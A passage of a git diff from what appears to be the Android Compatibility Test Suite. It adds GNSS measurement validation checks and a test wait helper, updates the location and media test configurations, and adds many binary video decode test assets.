+                    ApiLevelUtil.getApiLevel());
             return false;
         }
 
@@ -261,6 +263,17 @@
                     String.valueOf(measurement.getSnrInDb()),
                     measurement.getSnrInDb() >= 0.0 && measurement.getSnrInDb() <= 63);
         }
+
+        // Check Automatic Gain Control level in dB.
+        if (measurement.hasAutomaticGainControlLevelDb()) {
+            softAssert.assertTrue("Automatic Gain Control level in dB",
+                timeInNs,
+                "-100 >= X <= 100",
+                String.valueOf(measurement.getAutomaticGainControlLevelDb()),
+                measurement.getAutomaticGainControlLevelDb() >= -100
+                    && measurement.getAutomaticGainControlLevelDb() <= 100);
+        }
+
     }
 
     /**
@@ -313,6 +326,12 @@
         String svidLogMessageFormat = "svid: Space Vehicle ID. Constellation type = %s";
         int constellationType = measurement.getConstellationType();
         int svid = measurement.getSvid();
+        validateSvidSub(softAssert, timeInNs, constellationType, svid);
+    }
+
+    public static void validateSvidSub(SoftAssert softAssert, Long timeInNs,
+        int constellationType, int svid) {
+
         String svidValue = String.valueOf(svid);
 
         switch (constellationType) {
@@ -470,6 +489,15 @@
                             "0 day >= X <= 1 day",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 1);
+                } else if ((state | GnssMeasurement.STATE_GLO_TOD_KNOWN)
+                         == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0 day >= X <= 1 day",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 1);
                 } else if ((state | GnssMeasurement.STATE_GLO_STRING_SYNC)
                         == GnssMeasurement.STATE_GLO_STRING_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
@@ -518,6 +546,15 @@
                             "0 >= X <= 7 days",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state | GnssMeasurement.STATE_TOW_KNOWN)
+                              == GnssMeasurement.STATE_TOW_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                        timeInNs,
+                        "0 >= X <= 7 days",
+                        String.valueOf(sv_time_days),
+                        sv_time_days >= 0 && sv_time_days <= 7);
                 } else if ((state | GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
                         == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
diff --git a/tests/tests/location/src/android/location/cts/TestUtils.java b/tests/tests/location/src/android/location/cts/TestUtils.java
index a038457..113af49 100644
--- a/tests/tests/location/src/android/location/cts/TestUtils.java
+++ b/tests/tests/location/src/android/location/cts/TestUtils.java
@@ -16,6 +16,7 @@
 
 package android.location.cts;
 
+import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -46,4 +47,14 @@
         }
         return false;
     }
+    public static boolean waitForWithCondition(int timeInSec, Callable<Boolean> callback)
+        throws Exception {
+        long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) / STANDARD_SLEEP_TIME_MS;
+        for (int i = 0; i < waitTimeRounds; ++i) {
+            Thread.sleep(STANDARD_SLEEP_TIME_MS);
+            if(callback.call()) return true;
+        }
+        return false;
+    }
+
 }
diff --git a/tests/tests/location2/AndroidTest.xml b/tests/tests/location2/AndroidTest.xml
index 5829249..3443098 100644
--- a/tests/tests/location2/AndroidTest.xml
+++ b/tests/tests/location2/AndroidTest.xml
@@ -14,13 +14,15 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Location test cases">
+    <option name="config-descriptor:metadata" key="component" value="location" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLocation2TestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.location2.cts" />
+        <option name="runtime-hint" value="10m30s" />
     </test>
 
 </configuration>
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 0d27544..b7ae9d2 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -45,20 +45,27 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsmediautil \
-    ctsdeviceutil \
     compatibility-device-util \
-    ctstestserver \
+    ctsdeviceutillegacy \
+    ctsmediautil \
     ctstestrunner \
-    ndkaudio \
+    ctstestserver \
     junit \
-    legacy-android-test
+    legacy-android-test \
+    ndkaudio \
+    testng
 
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++
-LOCAL_JNI_SHARED_LIBRARIES += libndkaudioLib libctsmediadrm_jni
+LOCAL_JNI_SHARED_LIBRARIES := \
+    libaudio_jni \
+    libctsimagereader_jni \
+    libctsmediadrm_jni \
+    libctsmediacodec_jni \
+    libnativehelper_compat_libc++ \
+    libndkaudioLib
 
 # do not compress VP9 video files
 LOCAL_AAPT_FLAGS := -0 .vp9
+LOCAL_AAPT_FLAGS += -0 .ts
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 9064ade..4ade829 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -27,6 +27,8 @@
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
+    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -103,5 +105,10 @@
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 
+    <instrumentation android:name="android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.media.cts"
+                     android:label="MediaPlayer Streaming tests InstrumentationRunner">
+    </instrumentation>
+
 </manifest>
 
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 070ab28..d370d38 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Media test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaTestCases.apk" />
     </target_preparer>
@@ -27,6 +28,6 @@
         <option name="package" value="android.media.cts" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
-        <option name="runtime-hint" value="3h45m" />
+        <option name="runtime-hint" value="4h" />
     </test>
 </configuration>
diff --git a/tests/tests/media/assets/360pvp9decodertest.webm b/tests/tests/media/assets/360pvp9decodertest.webm
deleted file mode 100644
index e35e7a8..0000000
--- a/tests/tests/media/assets/360pvp9decodertest.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/480ph264decodertest.mp4 b/tests/tests/media/assets/480ph264decodertest.mp4
deleted file mode 100644
index 9b7e894..0000000
--- a/tests/tests/media/assets/480ph264decodertest.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/image_exif_byte_order_ii.jpg b/tests/tests/media/assets/image_exif_byte_order_ii.jpg
deleted file mode 100644
index 477cd3a..0000000
--- a/tests/tests/media/assets/image_exif_byte_order_ii.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/image_exif_byte_order_mm.jpg b/tests/tests/media/assets/image_exif_byte_order_mm.jpg
deleted file mode 100644
index 78ac703..0000000
--- a/tests/tests/media/assets/image_exif_byte_order_mm.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/lg_g4_iso_800.dng b/tests/tests/media/assets/lg_g4_iso_800.dng
deleted file mode 100644
index 5fcc720..0000000
--- a/tests/tests/media/assets/lg_g4_iso_800.dng
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4
new file mode 100644
index 0000000..d66b238
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4
new file mode 100644
index 0000000..e46a7c7
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4
new file mode 100644
index 0000000..8af2cf1
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4
new file mode 100644
index 0000000..92815cb
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4
new file mode 100644
index 0000000..ec81fe7
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4
new file mode 100644
index 0000000..97e4958
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4
new file mode 100644
index 0000000..6e22847
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4
new file mode 100644
index 0000000..9c061e0
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4
new file mode 100644
index 0000000..58d899d
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4
new file mode 100644
index 0000000..ade1d8e
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4
new file mode 100644
index 0000000..fc5a7b8
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4
new file mode 100644
index 0000000..52d2466
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4
new file mode 100644
index 0000000..55b2a50
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4
new file mode 100644
index 0000000..34bef63
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4
new file mode 100644
index 0000000..dd8ff39
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4
new file mode 100644
index 0000000..2437833
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4
new file mode 100644
index 0000000..1e249f3
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4
new file mode 100644
index 0000000..7d52627
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4
new file mode 100644
index 0000000..a44925b
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4
new file mode 100644
index 0000000..8ca7660
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4
new file mode 100644
index 0000000..e190f9f
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4
new file mode 100644
index 0000000..01f33de
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4
new file mode 100644
index 0000000..2163aeb
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4
new file mode 100644
index 0000000..5bae22d
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4
new file mode 100644
index 0000000..34738b0
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4
new file mode 100644
index 0000000..257037c
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4
new file mode 100644
index 0000000..6caa288
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4
new file mode 100644
index 0000000..081a5d3
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4
new file mode 100644
index 0000000..48463db
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4
new file mode 100644
index 0000000..bfe1fe0
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4
new file mode 100644
index 0000000..97df960
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4
new file mode 100644
index 0000000..671329e
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm
new file mode 100644
index 0000000..3e987e0
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm
new file mode 100644
index 0000000..4453d53
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm
new file mode 100644
index 0000000..086a0ee
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm
new file mode 100644
index 0000000..6b54d00
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm
new file mode 100644
index 0000000..edf8a42
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm
new file mode 100644
index 0000000..b8515e5
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm
new file mode 100644
index 0000000..6c6f219
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm
new file mode 100644
index 0000000..1870a54
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm
new file mode 100644
index 0000000..45dcd2b
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm
new file mode 100644
index 0000000..74e4e89
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm
new file mode 100644
index 0000000..20eef7d
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm
new file mode 100644
index 0000000..2108a75
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm
new file mode 100644
index 0000000..2242a44
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm
new file mode 100644
index 0000000..48962e8
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm
new file mode 100644
index 0000000..121e955
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm
new file mode 100644
index 0000000..e95fc45
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm
new file mode 100644
index 0000000..e105985
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm
new file mode 100644
index 0000000..a3ade36
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm
new file mode 100644
index 0000000..e94d4da
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm
new file mode 100644
index 0000000..7b903de
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm
new file mode 100644
index 0000000..a37299c
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm
new file mode 100644
index 0000000..85974a8
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm
new file mode 100644
index 0000000..efb8747
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm
new file mode 100644
index 0000000..af82abf
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm
new file mode 100644
index 0000000..e8ff426
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm
new file mode 100644
index 0000000..bb40cd8
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm
new file mode 100644
index 0000000..d252278
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm
new file mode 100644
index 0000000..853981a
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm
new file mode 100644
index 0000000..b6dc9a5
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm
